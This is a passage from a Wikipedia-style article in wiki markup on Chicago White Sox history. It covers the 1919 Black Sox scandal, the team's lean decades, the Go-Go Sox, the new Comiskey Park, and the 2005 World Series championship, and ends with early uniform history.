The official evidence relating to participation in the 'fix' by the various accused players came to light late in the [[1920 in sports|1920]] season. It began with an investigation into a fixed Cubs game that had become very public knowledge, and soon the 1919 Series events were on the table. Comiskey, who himself had turned a blind eye to the rumors previously, was compelled to suspend the remaining seven players (Gandil, eventually perceived as the ringleader, the one &quot;connected&quot; to the gamblers, had retired after the 1919 season). The suspensions ground the team to a halt; it was well on its way to another pennant (indeed, the 1920 White Sox pitching staff was the first in the majors to feature four 20-game winners). However, the evidence of their involvement (signed confessions) disappeared from the [[Cook County, Illinois|Cook County]] courthouse, and lacking that tangible evidence, a criminal trial (whose scope was limited to the question of defrauding the public) ended in acquittals of all the players. Regardless, with the public's trust of the game of baseball at stake, newly-installed [[Commissioner of Baseball]] [[Kenesaw Mountain Landis|Judge Landis]] banned all the accused from baseball for life. As the players were leaving a hearing, legend has it that a young boy (said by some to have been a newsboy) yelled out to Shoeless Joe, &quot;Say it ain't so, Joe!&quot;, although there is no evidence this exchange ever took place.

Though suspended from baseball, whether the eight players' efforts to fix the World Series definitively caused the team to lose remains unknowable, of course. Many players on the White Sox were not part of the fix and presumably did play their best. Evidence also suggests that at times many of the players aware of the fix did try their best, especially as the Series progressed. Shoeless Joe Jackson hit .375 for the Series. He swore under oath that he played to win the World Series and that he did not know some thought him involved until after the Series when he was handed money. Buck Weaver's crime was limited to having known of the plot and not having turned in his fellow ballplayers. Though it was readily acknowledged that he took no active role in the fix, he was disqualified for having done nothing to stop it.

The usual theory is that the players took part in this plot as an act of revenge against Comiskey, considered to be one of the meanest and tightest-fisted owners in the game. The term &quot;Black Sox&quot; came about earlier in the year, when Comiskey decided to make players pay for their own laundry. The players stopped doing their laundry in protest, and as their white stockings became soiled and dark, the writers tagged them with that nickname.

A pitch-by-pitch record of every at-bat of the entire World Series was kept and retained - something that had not been common practice before and would not become common practice for several more decades. Some baseball scholars who have studied this pitch-by-pitch record in tandem with other records of the game have said they cannot identify any additional specific evidence that might otherwise indicate the White Sox tried deliberately to act to fix this World Series. In contrast, there is the oft-reported story that at least one contemporary writer kept his own scorecard and marked plays that looked suspicious.

There was certainly no shortage of suspicion at the time. Just before the Series, it became known that gamblers had suddenly put lots of money on the heavy-underdog Reds. That fueled discussion that the Series had been &quot;doped&quot;, in the slang of the day. The rumors were so public and so potent that the Official Baseball Guide for 1920 chided the accusers editorially, little knowing how the story would ultimately play out that year.

Although Jackson may have played relatively honestly, as a batter he had limited influence. The best insurance for the gamblers was to get some pitchers. Cicotte purposely lost Game 1, with the storied signal to the gamblers that the fix was on when he hit the first batter with the pitch. Lefty Williams, one of the &quot;[[Eight Men Out]]&quot;, lost 3 games, a Series record. Dick Kerr, who was not part of the fix, won both of his starts. Cicotte bore down and won Game 7 of the best-5-of-9 Series, angry that the gamblers were now reneging on their promises, as they claimed that all the money was in the hands of bookies. Reportedly the team was told to lose Game 8 &quot;or else&quot;, and they were trounced by the Reds to end the Series.

It is reasonable to speculate that the Sox would have won the Series had they played honestly. But in later years the Cincinnati Reds, a group of proud professionals led by Hall of Fame hitting star [[Edd Roush]], asserted that they could have won the Series even if it had been played honestly. Ironically, it would be another two decades before the Reds returned to the Series themselves.

A number of people have taken up Shoeless Joe Jackson's cause (notably in the movie ''[[Field of Dreams]]''), campaigning for reversal of his ban from baseball, and thus clearing the way for his [[Baseball Hall of Fame|Hall of Fame]] induction, which would be a reasonable possibility if it were to be allowed to be voted upon. They point to sketchy evidence that he had acted to throw the World Series; his performance prior to his ban, and the fact that he was, most likely, driven to agreeing to fix the World Series by the lack of respect accorded to him by Comiskey. They also point to the fact that, immediately after the World Series, Jackson attempted to turn over his take from throwing the World Series to Comiskey's lawyer (a scene echoed in the movie version of ''[[The Natural]]''); however, the lawyer would not take the money, telling Jackson to &quot;go home to South Carolina&quot; and that the episode would blow over before long.

In fact, until the [[Pete Rose]] scandal, players who had been permanently banned from baseball were still technically eligible for the Hall of Fame (which is run privately and independently from Major League Baseball), though there was a strong consensus among the voters that such players would not be considered. In the Rose scandal's aftermath, the ban was codified and the loophole closed before it became an issue.

===The lean years===
The White Sox had been the league's dominant team at the time, but were severely crippled by losing seven of their best players in the middle of their prime. The team dropped into seventh place in [[1921 in sports|1921]] and would not contend again until [[1936 in sports|1936]]. During that stretch, only the [[1925 in sports|1925]] and [[1926 in sports|1926]] teams even managed to top .500. During this period, the Sox featured stars such as third baseman [[Willie Kamm]], shortstop [[Luke Appling]] and pitcher [[Ted Lyons]]. However, an outstanding team was never developed around them, or a deep pitching staff. Led from [[1934]] to [[1946]] by popular manager [[Jimmie Dykes]], the White Sox didn't completely recover from their malaise until the team was rebuilt in the 1950s under managers [[Paul Richards (baseball)|Paul Richards]], [[Marty Marion]], and [[Al Lopez]].

Between the dumping of star players by the [[Oakland Athletics|Philadelphia Athletics]] and the [[Boston Red Sox]], and the decimation of the White Sox, a baseball &quot;power vacuum&quot; was created, into which the [[New York Yankees]] would soon move.

It is interesting to note that since 1920, although the White Sox have won fewer pennants than the [[Chicago Cubs]] or the [[Boston Red Sox]] - whose fans can be considered among the most angst-riddled fans in all of sports - as well as being responsible for perhaps the biggest scandal in baseball history, the White Sox' fan base has largely shrugged off their relative lack of success over the years, blaming it more on inferior teams, poor management and bad luck rather than some other-worldly &quot;curse&quot;. Even the players who conspired to fix the 1919 World Series seem not to have been reviled or held responsible for the White Sox' lack of success as much as certain Cubs and Red Sox icons have been. Rightly or wrongly, those Sox players have often been seen as victims, and Comiskey himself has often been seen as bearing a large part of the blame for what happened.

===&quot;Go-Go White Sox&quot; ===
Following Charles Comiskey's death in 1931, the team continued to be operated by his family &amp;ndash; first by his son Louis, then by Louis' widow Grace, and finally by their daughter Dorothy. Not until 1959 did the team pass out of the family (thanks in part to feud between Dorothy and her brother Chuck) to a new ownership group, led by [[Bill Veeck]], who had previously run both the [[Cleveland Indians]] and the [[Baltimore Orioles|St. Louis Browns]]; it has recently been claimed that Veeck also tried to buy the [[Philadelphia Phillies]] during World War II, with the stated intention of stocking the team with players from the [[Negro Leagues]], but was rejected.

Veeck's arrival in 1959 brought an organizational approach which emphasized the entertainment aspect of the sport without sacrificing quality on the field, and [[Comiskey Park]] became home to a series of fan-friendly promotional stunts which helped draw record crowds, the most obvious being the exploding [[fireworks]] Veeck installed in the scoreboard to celebrate home runs and victories. Unlike Charles Comiskey, Veeck was also considered a player-friendly owner, and players enjoyed playing for him.

During the 1950s, the team had begun to restore its respectability utilizing an offensive philosophy emphasizing speed and a spectacular style of defense. Perennial All-Star [[Minnie Miñoso]], a former [[Negro league baseball|Negro Leaguer]] who became the Sox' first black player in [[1951 in sports|1951]], personified both aspects, leading the league in [[stolen base]]s while hitting over .300 and providing terrific play in left field. The additions of rookie shortstop [[Luis Aparicio]] in 1956 and manager [[Al Lopez]] in 1957 continued the strengthening of the team, joining longtime team standouts such as [[Nellie Fox]] at second base, pitcher [[Billy Pierce]] and catcher [[Sherm Lollar]].  

In [[1959 World Series|1959]], the team won its first pennant in 40 years, thanks to the efforts of several eventual Hall of Famers &amp;ndash; Lopez, Aparicio, Fox (the league MVP), and pitcher [[Early Wynn]], who won the [[Cy Young Award]] at a time when only one award was presented for both leagues. The White Sox would also acquire slugger [[Ted Kluszewski]], a local area native, from the [[Cincinnati Reds]] for the final pennant push. Kluszewski gave the team a much-needed slugger for the stretch run, and he hit nearly .300 for the White Sox in the final month. Lopez had also managed the Cleveland Indians to the World Series in [[1954 World Series|1954]], making him the only manager to interrupt the [[New York Yankees]] pennant run between 1949 and 1964. 

After the pennant-clinching victory, Chicago Mayor [[Richard J. Daley]], a life-long White Sox fan, ordered his fire chief to set off the city's [[civil defense siren|air raid sirens]]. Many Chicagoans became fearful and confused, since 1959 was the height of the [[Cold War]]; however, they relaxed somewhat upon realizing it was part of the White Sox' celebration. The Sox won Game 1 of the World Series 11-0 on the strength of Kluszewski's two home runs, their last postseason home win until [[2005 American League Division Series|2005]]. The [[Los Angeles Dodgers]], however, won four of the next five games and captured their first World Series championship since moving to the west coast. 92,706 fans witnessed Game 5 of the World Series at the [[Los Angeles Memorial Coliseum]], the most ever to attend a World Series game. The White Sox won that game 1-0 over the Dodgers' 23-year-old pitcher [[Sandy Koufax]], but the Dodgers clinched the series by beating the Sox 9-3 two days later at Comiskey Park.

Although the White Sox had winning records every season from 1951 through 1967, the Yankees dynasty of the era often left the Sox frustrated in second place; they were league runner-up 5 times between 1957 and 1965. Health problems forced Veeck to sell the team to brothers Arthur and John Allyn in 1961, and while the team continued to play well, many of the ballpark thrills seemed to be missing.

The [[1964 in baseball|1964]] season was especially frustrating, as the team won 98 games, four more than 1959, including their last nine in a row &amp;ndash; yet finished one game behind the pennant-winning Yankees, who had a late-season ''eleven''-game win streak that opened up just enough room to stave off the Sox's final charge.  The White Sox were also involved in one of the closest pennant races in history in [[1967 in baseball|1967]]. After leading the American League for most of the season, on the final weekend, the White Sox, [[Boston Red Sox]], [[Minnesota Twins]] and [[Detroit Tigers]] all had a shot at the pennant. However, the Red Sox would assert themselves in the final weekend, beating the Twins to take the pennant by a single game. The White Sox would finish in 4th at 89-73, three games behind.  

===The Milwaukee White Sox?===
In 1968, Bud Selig, a former minority owner of the [[Milwaukee Braves]] who had been unable to stop the relocation of his team three years earlier, contracted with the Allyn brothers to host nine home games at [[Milwaukee County Stadium]] as part of an attempt to attract an expansion franchise to Milwaukee.  

The experiment was staggeringly successful - those nine games drew 264,297 fans.  In Chicago that season, the Sox drew 539,478 fans to their remaining 58 home games.  In just a handful of games, the Milwaukee crowds accounted for nearly one-third of the total attendance at White Sox games.

In 1968, the Sox schedule in Milwaukee was expanded to include 11 home games (one against every other franchise in the American League at the time).  Although those games were attended by slightly fewer fans (198,211 fans, for an average of 18,019) they represented a greater percentage of the total White Sox attendance than the previous year - over one-third of the fans who went to Sox games did so at County Stadium (in the remaining 59 home dates in Chicago, the Sox drew 391,335 for an average of 6,632 per game).  

Selig was denied an expansion franchise at the 1968 owners meetings, and turned his efforts toward purchasing and relocating an existing club.  His search began close to home, with the White Sox themselves.  According to Selig, he had a handshake agreement with Arthur Allyn in early 1969 to purchase a majority stake in the Pale Hose and move them north to the Cream City.  The American League, however, blocked the sale, unwilling to give up its presence in the a major city.  Allyn instead sold his shares to his brother John, who agreed to stay in Chicago.  Selig would go on to buy the [[Seattle Pilots]] and move them to Milwaukee instead.

The Sox had a brief resurgence in [[1972 in baseball|1972]], with slugger [[Dick Allen]] winning the MVP award; but injuries, especially to popular third baseman [[Bill Melton]], took their toll and the team finished 5 1/2 games behind Oakland, the eventual world champion.

===&quot;South Side Hit Men&quot;===
On December 10, [[1975 in baseball|1975]], Veeck regained ownership of the team, and vowed to make the Sox an exciting team again. But the [[1976 in baseball|1976]] team was one of the worst White Sox teams ever fielded, winning only 64 games (.398), drawing fewer than 915,000 fans, and ridiculed for wearing uniforms which featured shorts. Things were about to change, however, as the [[1977 in baseball|1977]] team gave 1,657,135 fans (at the time, an all-time Chicago baseball attendance record) much to cheer about. Veeck, unable to shell out money for huge, long-term contracts, adopted a &quot;rent a player&quot; strategy &amp;ndash; trading for players in the last year of their contracts. The 1977 team featured new faces [[Richie Zisk]], [[Oscar Gamble]], and [[Eric Soderholm]], and by the end of July, the team was 24 games over .500 and 5 1/2 games ahead of the [[Kansas City Royals]]. Team organist [[Nancy Faust]] riled the opponents with her version of &quot;[[Na Na Hey Hey (Kiss Him Goodbye)]]&quot; after White Sox home runs and opponent pitching changes; despite complaints by the opposition, Faust continues the tradition to this day. Fans were also entertained by announcer [[Harry Caray]]'s seventh-inning stretch renditions of &quot;[[Take Me Out to the Ball Game]]&quot; (a tradition which, contrary to popular belief, did not originate at [[Wrigley Field]] when Caray joined the crosstown Cubs in 1982). A 4-12 stretch in early August, and a club-record 16-game winning streak by the Royals, left the White Sox in third place by the end of the season with a 90-72 record.[[Image:whitesox7690.gif|frame|Chicago White Sox logo from 1976-1990]]

After the end of the 1977 season, free agents Gamble and Zisk signed with other teams. Veeck's attempt to replace them with [[Bobby Bonds]] and [[Ron Blomberg]] fizzled as the [[1978 in baseball|1978]] team lost 90 games. After 87 losses in [[1979 in baseball|1979]] (including the infamous July 12, 1979 forfeit on [[Disco Demolition Night]]) and 90 losses in [[1980 in baseball|1980]], Veeck sold the team to an ownership group headed by [[Jerry Reinsdorf]] and [[Eddie Einhorn]] after his earlier attempt to sell the team to Ohio real estate tycoon [[Edward J. DeBartolo, Sr.|Ed DeBartolo]] was rejected by other American League owners. The new owners moved quickly to show that they were committed to winning by signing All-Star catcher [[Carlton Fisk]] from the [[Boston Red Sox]] during the 1980-81 offseason. They also retained the club's young, relatively unknown manager [[Tony La Russa]]. Rather than focusing on announcers Caray and [[Jimmy Piersall]], or the threat of the team moving to [[Denver, Colorado|Denver]], the focus would be the team on the field. It was a sign of good things to come for the White Sox.

===&quot;Winning Ugly&quot;===
In [[1983 in baseball|1983]], the White Sox enjoyed their best success in a generation.  Despite great expectations, at the All-Star Break the White Sox were only one game over .500, at 39-38.  After the break, they went on a tear, going 60-25 to win 99 games and the AL West title.  The White Sox were led by catcher [[Carlton Fisk]], outfielder [[Harold Baines]], eventual Rookie of the Year outfielder [[Ron Kittle]], designated hitter [[Greg Luzinski]], and pitchers [[LaMarr Hoyt]] (who won the [[Cy Young Award|Cy Young]] that year), [[Britt Burns]], [[Floyd Bannister]], and [[Richard Dotson]].  Manager Tony La Russa also won the Manager of the Year award in his first managerial success. 

A catchphrase of the team was &quot;Winning Ugly&quot; for the style of play, which reflected a tendency to win games through scrappy play rather than consistently strong hitting or pitching. That tag was put on them derisively by [[Doug Rader]], then manager of the [[Texas Rangers (baseball)|Texas Rangers]], but Chicago media and Sox fans picked up on it and turned it into a positive. While they had a great run in the regular season, they were not able to carry that over into the postseason as they lost to a powerful [[Baltimore Orioles]] team 3 games to 1 in the [[American League Championship Series|AL Championship Series]]. Hoyt led the Sox to a 2-1 victory in Game 1, but the Orioles clinched the series with a 3-0 ten-inning victory in Game 4. White Sox pitcher Britt Burns pitched a &quot;gutsy&quot; game, throwing 9 1/3 shutout innings before a home run by [[Tito Landrum]] broke up the game and the hearts of the South Side faithful. (In the 1997 ALCS, Sox fans took some vicarious pleasure when [[Tony Fernandez]] of Cleveland homered in the 11th inning of a scoreless game at Baltimore, knocking the O's out of the playoffs).

The club slid back into mediocrity for the rest of the 1980s, contending only in [[1985 in baseball|1985]]. In 1986, broadcaster-turned-general manager [[Ken Harrelson|Ken &quot;Hawk&quot; Harrelson]] fired La Russa after a poor start. The club wouldn't contend again until 1990, the final year in [[Comiskey Park|Old Comiskey Park]].

===New Comiskey Park/U.S. Cellular Field===
In the late 1980s, the franchise threatened to relocate to [[Tampa Bay Area|Tampa Bay]] (as did the [[San Francisco Giants]]), but frantic lobbying of the part of the Illinois governor and state legislature resulted in approval (by one vote) of public funding for a new stadium.  Although designed primarily as a baseball stadium (as opposed to a &quot;multipurpose&quot; stadium) New Comiskey Park (redubbed [[U.S. Cellular Field]] in 2003) was built in a 1960s style similar to [[Dodger Stadium]] and [[Kauffman Stadium]].  It opened in 1991 to positive reviews; many praised its wide open concourses, excellent sight lines, and natural grass (unlike other stadiums of the era such as [[Skydome]] in Toronto.)  However, it was quickly overshadowed in the public imagination by the wave of &quot;nostalgia&quot; or &quot;retro&quot; ballparks, beginning with [[Oriole Park at Camden Yards]]. The park's inaugural season drew 2,934,154 fans - at the time, an all-time attendance record for any Chicago baseball team.

Despite a number of innovations in its original construction - including a lower deck concourse that circumscribes the entire stadium, allowing a view of the game from any location - the park was often criticized for its sterile appearance and steep upper deck.  In recent years, money accrued from the sale of naming rights to [[U.S. Cellular]] has been allocated for renovations to make the park more aesthetically appealing and fan friendly.  Notable renovations of early phases included: re-orientation of the bullpens parallel to the field of play (thus decreasing slightly the formerly symmetrical dimensions of the outfield); filling seats in up to and shortening the outfield wall; ballooning foul-line seat sections out toward the field of play; creating a new multi-tiered batter's eye, allowing fans to see out through one way screens from the center-field vantage point, and complete with concession stand and bar-style seating on its 'fan deck'; renovating all concourse areas with brick, historic murals, and new concession stand ornaments to establish a more friendly feel. The stadium structure was repainted to resemble a pink granite finish on its facade stone, and dark gray and black in its steel and concrete. The scoreboard Jumbotron was also replaced with a new [[Mitsubishi]] Diamondvision HDTV giant screen.

More recently, the top third of the upper deck was removed in 2004 and a black wrought metal roof was placed over it, covering all but the first 8 rows of seats. This decreased seating capacity from 47,000 to 40,615. 2005 also saw the introduction of the Scout Seats, redesignating (and re-upholstering) 200 lower deck seats behind home plate as an exclusive area, with seat-side waitstaff and a complete restaurant located underneath the concourse. The most significant structural addition besides the new roof was 2005's FUNdamentals Deck, a multi-tiered structure on the left field concourse containing batting cages, a small [[tee-ball]] field, and several other child-themed activities intended to entertain and educate young fans. This structure was used during the 2005 playoffs by [[ESPN]] and [[Fox Television]] as a broadcasting platform. 

Designed as a 5-phase plan, the renovations will be complete after the 2006 season with the 5th and final phase.  The most visible renovation in this final phase will be replacing the original blue seats with green seats. The Upper Deck will have the new green seats at the beginning of the 2006 season.

===&quot;Good Guys Wear Black&quot;===
In anticipation of the move to the new ballpark, the White Sox of the [[1990s]] adopted classic pinstriped uniforms and the occasional use of black jerseys, instantly jumping to the top of the league in merchandise sales. The 1990s teams also contended well, led by first baseman [[Frank Thomas (AL baseball player)|Frank Thomas]], third baseman [[Robin Ventura]], and pitcher [[Jack McDowell]]. The hugely popular Thomas became in many ways the face of the franchise, and won back-to-back MVP's in 1993 and 1994.  A player who hit for power as well as a high average, Thomas was generally considered to be destined for the Hall of Fame before a series of injuries derailed his career in the early 2000's.

The team reached the ALCS in [[1993 in baseball|1993]]. The White Sox were led by Thomas, Cy Young Award winner McDowell and All-Star closer [[Roberto Hernandez]] and won the last AL West before realignment with a 94-68 record. However, the White Sox were a big disappointment in the ALCS, losing to the eventual World Champion [[Toronto Blue Jays]] in six games.

The White Sox led the new AL Central Division at the time of the [[1994 baseball strike|1994 players' strike]], and also reached the [[American League Division Series]] in [[2000 in baseball|2000]]. 

On [[July 31]], [[1997 in baseball|1997]], with the White Sox only 3.5 games back of the [[Cleveland Indians]] for the division lead, they traded veteran pitchers [[Wilson Alvarez]], [[Danny Darwin]], and [[Roberto Hernández (baseball player)|Roberto Hernández]] to the [[San Francisco Giants]] in exchange for six minor leaguers, most notably [[Keith Foulke]]. Many fans saw this as their ownership (led by [[Jerry Reinsdorf]]) betraying them and trading away their chance to win the division in exchange for next to nothing. This trade was deemed as the &quot;White Flag Trade&quot; by the Chicago newspapers due to the perception that the White Sox organization essentially surrendered to the Indians without a fight that year. This trade did considerable harm to the already struggling White Sox fan base. The team's unpopular manager that year, [[Terry Bevington]], while enduring a rocky relationship with the Chicago media, did nothing to help the situation &amp;ndash; on one occasion signalling to the bullpen for a relief pitcher when no one was warming up. He was replaced by [[Jerry Manuel]] following the 1997 season.

Under Manuel, the White Sox fielded a talented but chronically under-achieving team. In the year [[2000 in baseball|2000]], however, the White Sox had one of their best teams since the 1983 club. This team, whose slogan was &quot;The Kids Can Play,&quot; won 95 games en route to an AL Central division title. The team scored runs at a blistering pace, which enabled them to win all of these games despite a mediocre pitching staff led by [[Mike Sirotka]]. Frank Thomas nearly won his third MVP award with his offensive output; he was helped by good offensive years from [[Magglio Ordóñez]], [[Paul Konerko]], [[Carlos Lee]] and [[Jose Valentin]]. 

A big key for this team was that they seemed always to get a clutch hit whenever they needed it. The pitching staff, however, was beset by injuries before the playoffs began. As in 1983 and 1993, this team could not carry its success over into the postseason, getting swept by the wild-card [[Seattle Mariners]] in the Division Series. Despite new club records for hits (1,615), runs scored (978), RBI (926), home runs (216), and doubles (325), the Sox managed to hit only .185 in the ALDS and failed to score a run after the third inning in any of the three games. They were eliminated when Mariners pinch-hitter [[Carlos Guillen]] drove in the winning run with a squeeze bunt.

Over the next four years, the White Sox were in contention for the division title, normally finishing in second place under pitchers [[David Wells]], [[Mark Buehrle]], [[Bartolo Colon]], and hitters [[Magglio Ordonez]], [[Carlos Lee]], and [[Paul Konerko]].  Thomas was injured early in 2001, and has been unsteady ever since.

===&quot;Win Or Die Trying&quot;===
In [[2004 in baseball|2004]], the White Sox hired former team shortstop [[Ozzie Guillén]] as manager. Later that year, general manager [[Ken Williams (baseball executive)|Ken Williams]] vowed to change the makeup of the team from one that relies on the [[home run]] to one that has good pitching and defense. They traded outfielder [[Carlos Lee]] for center fielder [[Scott Podsednik]], and also signed outfielder [[Jermaine Dye]] and former Yankee pitcher [[Orlando Hernandez]] to complete a rotation that included [[Freddy Garcia]], [[Mark Buehrle]], [[Jose Contreras]] and [[Jon Garland]]. Additionally, former Minnesota Twin and San Francisco Giant [[A.J. Pierzynski]] was signed to fill the catching spot. Finally, to complete the make-over, Williams signed Japanese second baseman [[Tadahito Iguchi]] to a contract. 

The changes made an immediate impact on the team. In [[2005 in baseball|2005]], the White Sox posted the best record in the major leagues for much of the year, before a late season slump saw the [[St. Louis Cardinals]] overtake them (100 wins vs. 99 wins). Though a serious challenge for their dominance of the division was mounted late in the year by the [[Cleveland Indians]] (the Tribe actually reduced what was once a 15 1/2-game lead for the Sox down to 1 1/2 games at one point), Chicago scored a 4-2 victory over the [[Detroit Tigers]] on [[September 29]] to win their first AL Central Division title since 2000. Finishing at 99-63 (.611) tied their 1983 record, and won the division by six games. The last time they had a higher percentage than that was [[1920]], when they finished second in the league thanks to the late-season &quot;Black Sox&quot; suspensions. The combination of the league's best record with the American League victory in the All-Star Game gave the White Sox the home field advantage throughout the 2005 post-season; perhaps unnecessary as the White Sox won every post-season road game they played in 2005.  By the end of the 2005 season, most of their starting pitchers had their careers changed.  Such guys were Contreras and Garland.  

In the [[2005 American League Division Series|first round]] of the 2005 playoffs, the White Sox took on the wild-card winning [[Boston Red Sox]], the defending World Series champions. However, the ChiSox overpowered the BoSox, defeating the Red Sox in a three-game sweep.  They won the first two games (scoring a 14-2 victory in the first game &amp;ndash; their first postseason win at home since [[1959 World Series|1959]] &amp;ndash; and 5-4 in the second) of the series at home before going to [[Fenway Park]] and claiming a 5-3 victory.

The ALDS also set the tone for what would be an unusually suspenseful post-season; while their first game was considered a blow-out, the remaining games saw the White Sox making the most of rare opportunities and hanging on to narrow leads. In Game 2, the White Sox were actually down 2-4 when Red Sox second baseman Tony Graffanino let Juan Uribe's potential inning-ending, double-play grounder go through his legs; one out later, Tadahito Iguchi hit a three-run homer to left that clinched the game for the White Sox. In Game 3, Orlando Hernandez entered the game with the bases loaded and nobody out with the White Sox ahead by only one run in the bottom of the sixth inning. Based on their regular season performance, it was later calculated that the Red Sox's probability of winning at that point was .662, even though they were trailing by one run. Instead, the first two batters, Jason Varitek and Tony Graffanino, both popped out, and Johnny Damon struck out swinging on a breaking ball. Hernandez went on to retire six of the next seven batters, and the White Sox's rookie reliever Bobby Jenks closed out the game.

The Sox then moved on to face the [[Los Angeles Angels of Anaheim]] in the [[2005 American League Championship Series|ALCS]]. The Angels won Game 1 3-2 despite making three cross-country airplane trips in three days. 

In Game 2 on [[October 12]], 2005, the teams were involved in one of the most controversial endings in baseball playoff history. With the score tied 1-1 with two outs in the bottom of the ninth, A.J. Pierzynski apparently struck out to end the inning. At first Pierzynski headed back to the dugout but ran to first base upon realizing that umpire [[Doug Eddings]] had ruled that Angels catcher [[Josh Paul]] did not field the ball cleanly, meaning he would have to either tag the batter or throw to the first baseman to record the out (see [[dropped third strike]]).  Despite vehement protests from various members of the Angels, including manager [[Mike Scioscia]], Pierzynski was awarded first base. Pinch-runner [[Pablo Ozuna]] replaced Pierzynski and stole second base. Third baseman [[Joe Crede]] then delivered a base hit on the third pitch to give the White Sox a controversial 2-1 win.  Overshadowed by that play was the 1-run, 5-hit complete game pitched by [[Mark Buehrle]]. Buehrle's excellent effort allowed the White Sox to capture their first-ever home victory in ALCS history. 

Buoyed by their win, the White Sox travelled to Anaheim, where starters [[Jon Garland]], [[Freddy Garcia]], and [[Jose Contreras]] (who had dropped Game 1 to the Angels in Chicago) pitched three more complete game victories consecutively over the Angels, giving the Sox their first American League pennant since 1959. Sox slugger [[Paul Konerko]] was named the ALCS MVP, on the strength of his two home runs, 7 RBI, and .286 average.

Especially in light of the evolution of the game, the White Sox' four straight complete games was considered an unbelievable achievement.  The last time four consecutive complete games had been pitched in a championship series was in the [[1956 World Series]] between the [[Los Angeles Dodgers|Brooklyn Dodgers]] and [[New York Yankees]], and the [[1928 World Series|1928 Yankees]] were the last team to win four consecutive complete games in a championship series.  In fact, the last time any major league pitching staff had hurled four straight complete game victories was near the end of the 1983 regular season, when the [[Texas_Rangers_%28baseball%29|Texas Rangers]] accomplished the feat.

The Sox now advanced to the [[2005 World Series|World Series]], where they would take on the National League champion [[Houston Astros]]. The White Sox' appearance in the World Series was bittersweet for longtime franchise star [[Frank Thomas (AL baseball player)|Frank Thomas]].  One of the most popular and productive players in the franchise's long history, Thomas would finally be going to a World Series in his 16th major league season.  However, due to injury, Thomas would be unable to participate except as an observer, and his contributions to the White Sox in 2005 were limited.

Game 1 saw Astros' ace [[Roger Clemens]] leave the game with a hamstring injury, and Chicago took advantage of its opponents' weakness, winning 5-3. Joe Crede especially made an impressive showing with his stellar defensive plays at third base. Game 2 of the Series, as in the ALCS, saw the White Sox involved in a controversial play. With the Sox down 4-2 and two men on base, the home plate umpire ruled that [[Jermaine Dye]] had been hit by a pitch when in actuality the ball had hit the bottom of his bat. Dye was given a free pass to first, and the next batter, Paul Konerko, launched a grand slam into left field to give Chicago a 6-4 lead. Houston tied the game by scoring two runs in the eighth, but in the bottom of the ninth, [[Scott Podsednik]] hit a walk-off solo home run to give the Sox a thrilling 7-6 victory and a 2-0 lead in the Series.

The World Series then shifted to Houston for Game 3, in which Astros' starter and NLCS MVP [[Roy Oswalt]] cruised with a 4-0 lead until the wheels totally came off for him with a five-run fifth by the White Sox. The Astros managed to tie the game in the eighth, but repeatedly blew scoring opportunities in the next few innings. Finally, in the top of the 14th, former Astro [[Geoff Blum]] hit the game-winning home run; the Sox took a commanding 3-0 Series lead with a 7-5 victory in the longest World Series game in history (in terms of time). In Game 4, a pitcher's battle between [[Freddy Garcia]] and [[Brandon Backe]], [[Jermaine Dye]] broke a scoreless tie in the eighth by singling to center off of Brad Lidge, the embattled Astros closer who gave up the home run to Podsednik in Game 2, driving in [[Willie Harris]] for what turned out to be the winning run. Game 4 also saw a spectacular defensive play by [[Juan Uribe]], as the Chicago shortstop leapt two rows into the stands in order to retire [[Chris Burke]] for the second out in the bottom of the ninth. Uribe also made the final out of the Series on the next play, as he threw an [[Orlando Palmeiro]] grounder to Konerko at first, narrowly beating Palmeiro to give the White Sox their first World Series crown since [[1917 World Series|1917]] in a four-game sweep. [[Jermaine Dye]] was named the [[World Series MVP Award|World Series MVP]].[[Image:Sox_WS_Champions_2005.gif|frame|Chicago White Sox 2005 World Series Champions uniform patch]]

The White Sox championship run can be considered one for the ages. Apart from a brief shaky stretch in early September, White Sox team displayed sheer dominance as evident by the wire-to-wire first place in American League. Only the 1927 Yankees were able to achieve such a feat. Their 11-1 postseason record was tied with 1999 Yankees as the best single post season mark.(Only Cincinnati Reds in 1976 had a better winning percentage by going 7-0).

On [[November 24]] the White Sox added left-handed slugger [[Jim Thome]] from the Philadelphia Phillies for outfielder [[Aaron Rowand]].  Some fans rued the departure of the popular Rowand, who along with AJ Pierzynski and Joe Crede made up the White Sox' &quot;Three Stooges&quot;.  There was also some angst regarding the White Sox taking on Thome's contract, which was generally considered to have been a poor signing by the Phillies.  However, the White Sox made the move to provide the team with a left-handed slugger to go along with right-handed first baseman [[Paul Konerko]], who re-signed on [[November 30]] after a brief period of free agency.  Thome was also familiar with the American League, having been a fixture with the [[Cleveland Indians]] for many years prior to signing with the Phillies.  

With the trade and the re-signing of Konerko, [[Frank Thomas]]'s tenure with the White Sox came to a close when he signed with the [[Oakland Athletics]].  Although Thomas was the face of the franchise for the past decade, as well as one of the most feared hitters in the league from 1991 to 1997, he showed signs of physical breakdown in the past two seasons, only playing in 108 out of 324 regular season games. The White Sox could no longer count on Thomas's now fragile body to allow him to provide much needed protection for Konerko in the middle of the lineup.

On December 14, 2005, the already sturdy starting pitching of the White Sox was further fortified in a trade with the [[Arizona Diamondbacks]].  The White Sox acquired 29-year-old starter [[Javier Vazquez]] in exchange for starting pitcher [[Orlando Hernandez]], reliever [[Luis Vizcaino]], and outfield prospect Chris Young.  With the additions of Vazquez, Thome, and utilityman Rob Mackowiak (from the [[Pittsburgh Pirates]]), the White Sox look poised to repeat as baseball's champion in 2006.

==History of White Sox uniforms==
Over the years the White Sox have become noted for many of their uniform innovations and changes.  In 1960, the White Sox became the first team in the major sports to put players' last names on jerseys.  

Although the uniforms in the very early days of the franchise featured a block &quot;C&quot; in red, the uniforms' primary color switched to a navy or midnight blue (on white) after a couple of years.  Again, a block &quot;C&quot; was often the only adornment.  

[[Image:Im_cws_logo_1912.gif|frame|1912 Chicago White Sox logo]]In 1912, however, the White Sox debuted one of the most enduring and famous logos in baseball -- a large &quot;S&quot; in a Roman-style font, with a small &quot;O&quot; inside the top loop of the &quot;S&quot; and a small &quot;X&quot; inside the bottom loop.  This is the logo associated with the 1917 World Series championship team and the 1919 Black Sox.  With a couple of brief interruptions, the dark blue logo with the large &quot;S&quot; lasted through 1938 (but continued in a modified block style into the '40s).  Through the 1940s, the White Sox team colors were primarily navy blue trimmed with red.  

The White Sox logo in the '50s and '60s (actually beginning in the 1949 season) was the word &quot;SOX&quot; in an Old English font, diagonally arranged, with the &quot;S&quot; larger than the other two letters.  From 1949 through 1963, the primary color was black (trimmed with red after 1951).  The Old English &quot;SOX&quot; in black lettering is the logo associated with the Go-Go Sox era.  

